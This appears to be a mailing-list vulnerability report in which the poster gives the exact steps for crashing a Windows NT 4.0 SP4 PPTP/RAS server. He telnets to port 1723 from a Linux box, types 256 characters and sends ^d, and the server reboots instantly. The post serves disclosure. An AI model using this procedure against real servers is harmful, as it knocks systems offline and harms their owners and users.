Hello again. please excuse the lack of detail in my first posting. I was trying to recollect the events of the past evening. Unfortunately I don't have unlimited access to a NT server to play with. However, I have tried this again (on the same server) this time over the internet as opposed to a LAN. (trying to remove the NIC from the equation.) Firstly, the NT setup: NT Server Version 4, with Service Pack 4.0 applied. (outside US version - only 40 bit) PPTP added as a network device Number of VPNs available - 2 then RAS service started. The attack box setup: RedHat Linux 5.2 running kernel 2.2.1 modem connection to the net The procedure I followed: [root@blobby /root]# telnet <removed for privacy> 1723 Trying <removed for privacy>... Connected to <removed for privacy>. Escape character is '^]' hhhhhhhhhhhhhhh<type 256 times> ^d (not shown in output) ^] telnet> close Connection closed. The instant I hit ^d his server rebooted. AFAIK there is nothing special in the setup of the NT server. I hope this clears up the picture. Cheers Simon
